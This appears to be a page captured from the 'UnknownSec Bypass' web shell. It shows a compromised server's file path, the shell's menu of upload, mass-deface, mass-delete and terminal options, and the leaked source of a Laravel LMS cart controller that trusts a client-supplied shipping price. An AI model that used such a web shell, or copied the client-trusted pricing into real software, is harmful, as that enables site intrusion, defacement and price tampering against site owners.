UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
lms_b9d68f7ba94c
/
app
/
Http
/
Controllers
/
Cart
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
CartController.php
<?php namespace EstudioLMS\Http\Controllers\Cart; use Carbon\Carbon; use EstudioLMS\Cart\Cart; use EstudioLMS\Helpers\CartHelper; use EstudioLMS\Http\Controllers\Controller; use EstudioLMS\Repositories\Coupon\CouponRepository; use EstudioLMS\Repositories\Courses\Course\CourseRepository; use EstudioLMS\Repositories\Environment\HiredCourseRepository; use EstudioLMS\Services\Hires\HireServices; use Illuminate\Contracts\Auth\Guard; use Illuminate\Http\Request; use mjanssen\BreadcrumbsBundle\Breadcrumbs; use Symfony\Component\HttpFoundation\Session\SessionInterface; /** * Class CartController * @package EstudioLMS\Http\Controllers\Cart */ class CartController extends Controller { /** * @var Cart */ private $cart; /** * @var SessionInterface */ private $session; /** * @var CourseRepository */ private $course; /** * @var Breadcrumbs */ private $breadcrumbs; /** * @var HireServices */ private $hireServices; /** * @var Guard */ private $auth; /** * @var HiredCourseRepository */ private $hiredCourse; /** * @var CouponRepository */ private $couponRepository; /** * @var CartHelper */ private $cartHelper; /** * CartController constructor. * * * @param Cart $cart * @param SessionInterface $session * @param CourseRepository $course * @param Breadcrumbs $breadcrumbs * @param HireServices $hireServices * @param Guard $auth * @param HiredCourseRepository $hiredCourse * @param CouponRepository $couponRepository * @param CartHelper $cartHelper */ public function __construct( Cart $cart, SessionInterface $session, CourseRepository $course, Breadcrumbs $breadcrumbs, HireServices $hireServices, Guard $auth, HiredCourseRepository $hiredCourse, CouponRepository $couponRepository, CartHelper $cartHelper ) { $this->middleware('student', ['only' => ['checkout']]); $this->cart = $cart; $this->session = $session; $this->course = $course; $this->hireServices = $hireServices; $this->auth = $auth; $this->hiredCourse = $hiredCourse; $this->breadcrumbs = $breadcrumbs; $this->couponRepository = $couponRepository; $this->cartHelper = $cartHelper; } /** * @return \Illuminate\View\View */ public function index() { $title = 'Carrinho de Compras'; $this->breadcrumbs->addBreadcrumb('Home', route('index')); $this->breadcrumbs->addBreadcrumb('Carrinho de Compras', route('cart.list')); $bread = $this->breadcrumbs->generate(); $zipCode = ''; if ($this->auth->check()) { $zipCode = isset($this->auth->user()['address']['zip_code']) ? $this->auth->user()['address']['zip_code'] : ''; } $cart = $this->getCart(); return view('cart.cart', compact('cart', 'title', 'bread', 'zipCode')); } /** * Pega o carrinho de compras da sessão caso exista, se não cria um novo carrinho * * * @return mixed */ private function getCart() { if ($this->session->has('cart')) { $cart = $this->session->get('cart'); } else { $cart = $this->cart; } return $cart; } /** * Envia o curso escolhido para o carrinho de compras * * * @param Request $request * @return \Illuminate\Http\RedirectResponse * @internal param $courseId */ public function addItem(Request $request) { $data = $request->all(); $cart = $this->getCart(); $this->clearCart(); $course = $this->course->with(['plans', 'material'])->find($data['course_id']); $image = '/courses/course/images/' . $course['main_image']; $plan = $course['plans']->where('id', (int)$data['select_plan'])->first(); if ($plan['pivot']['price'] > 0) { $price = $plan['pivot']['price'] + ($plan['pivot']['debit'] == 0 ? $plan['pivot']['registration'] : 0); $extraAmount = isset($course->material->price) ? $course->material->price : 0; $cart->addItem( $course['id'], $course['name'], $data['select_plan'], $plan['name'], $price, $image, 0.00, $extraAmount ); } $this->session->set('cart', $cart); return redirect()->route('cart.list', compact('cart')); } /** * @param $id * @return \Illuminate\Http\RedirectResponse */ public function removeItem($id) { $cart = $this->getCart(); $cart->destroy(); return redirect()->route('index'); } /** * @return \Illuminate\Http\RedirectResponse */ public function clearCart() { $cart = $this->getCart(); $cart->destroy(); return redirect()->route('index'); } public function applyDiscount(Request $request) { $cart = $this->getCart(); $data = $request->all(); $coupon = $this->couponRepository->with(['courses', 'courses.plans'])->findByField('code', $data['couponKey'])->first(); if (count($coupon) > 0) { $dateStart = !empty($coupon['published_at']) ? Carbon::createFromFormat('d/m/Y H:i', $coupon['published_at'])->format('Y-m-d H:i') : Carbon::createFromFormat('Y-m-d H:i', date('Y-m-d H:i'))->format('Y-m-d H:i'); $dateFinish = !empty($coupon['unpublished_at']) ? Carbon::createFromFormat('d/m/Y H:i', $coupon['unpublished_at'])->format('Y-m-d H:i') : Carbon::createFromFormat('Y-m-d H:i', date('Y-m-d H:i'))->format('Y-m-d H:i'); if ($coupon['published'] == true && ( $dateStart <= date('Y-m-d H:i') && $dateFinish >= date('Y-m-d H:i')) ) { foreach ($coupon['courses'] as $course) { if ($course['id'] == $cart->get('course_id')) { $discount = $coupon['discount']; $plan = $course['plans']->where('id', (int)$cart->get('plan_id'))->first(); $planPrice = $plan['pivot']['price'] + ($plan['pivot']['debit'] == 0 ? $plan['pivot']['registration'] : 0); $extraAmount = $cart->getExtraAmount(); $valDiscount = ((($planPrice + $extraAmount) * $discount) / 100); $valDiscount = floor($valDiscount * 100) / 100; $cart->applyCoupon($valDiscount); return $valDiscount; } else { $cart->applyCoupon(0); } } } else { $ret = ['status' => false, 'message' => 'Cupom invalido ou inativo']; return $ret; } } else { $ret = ['status' => false, 'message' => 'Cupom invalido ou inativo']; return $ret; } $ret = ['status' => true]; return $ret; } public function addShipping(Request $request) { $data = $request->all(); if ($data['shippingPrice'] >= 0) { $cart = $this->getCart(); $cart->addShipping($data['shippingCode'], $data['shippingPrice']); return '+' . $this->cartHelper->getShippingName($data['shippingCode']) . ': ' . $data['shippingPrice']; } return ''; } /** * @return \Illuminate\View\View */ public function checkout() { $title = 'Finalizar Compra'; $checkHiredCourses = 0; $cart = $this->getCart(); if (count($cart->getCart()) > 0) { $checkHiredCourses = $this->hireServices->checkHiredCourses($cart); } $cart = $this->getCart(); if (count($cart->getCart()) > 0) { if ($this->cartHelper->courseHasShipping($cart)) { if (!$this->cartHelper->validateShipping($cart)) { $message = "Divergência entre o CEP informado e o CEP cadastrado ou se o CPF não foi informado.<br>"; $message .= "Recalcule o valor do seu frete ou verifique seu cadastro clicando "; $message .= "<a href='" . route('student.profile.edit.cart') . "' data-toggle='modal' data-target='#modal_cart'> aqui.</a>"; flash()->message($message); return redirect()->route('cart.list'); } } } $this->breadcrumbs->addBreadcrumb('Home', route('index')); $this->breadcrumbs->addBreadcrumb('Carrinho de Compras', route('cart.list')); $this->breadcrumbs->addBreadcrumb('Finalizar Compras', route('cart.list')); $bread = $this->breadcrumbs->generate(); $cart = $this->getCart(); return view('cart.checkout', compact('cart', 'title', 'bread', 'checkHiredCourses')); } /** * @param $success * @param Request $request * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View */ public function result($success, Request $request) { $title = 'Compra Finalizada'; $this->breadcrumbs->addBreadcrumb('Home', route('index')); $this->breadcrumbs->addBreadcrumb('Carrinho de Compras', route('cart.list')); $this->breadcrumbs->addBreadcrumb('Compra Finalizada', route('cart.list')); $bread = $this->breadcrumbs->generate(); $transactionId = null; if (!empty($request['transaction_id'])) { $transactionId = $request['transaction_id']; $this->hireServices->completePagseguro($request['transaction_id']); } return view('cart.result', compact('success', 'title', 'bread', 'transactionId')); } public function seeShipping(Request $request) { $cart = $this->getCart(); $zip = $request->get('zip'); $zip = preg_replace('/[^0-9]/', '', $zip); return $this->cartHelper->seeShipping($zip, $cart); } }
Copyright © 2026 - UnknownSec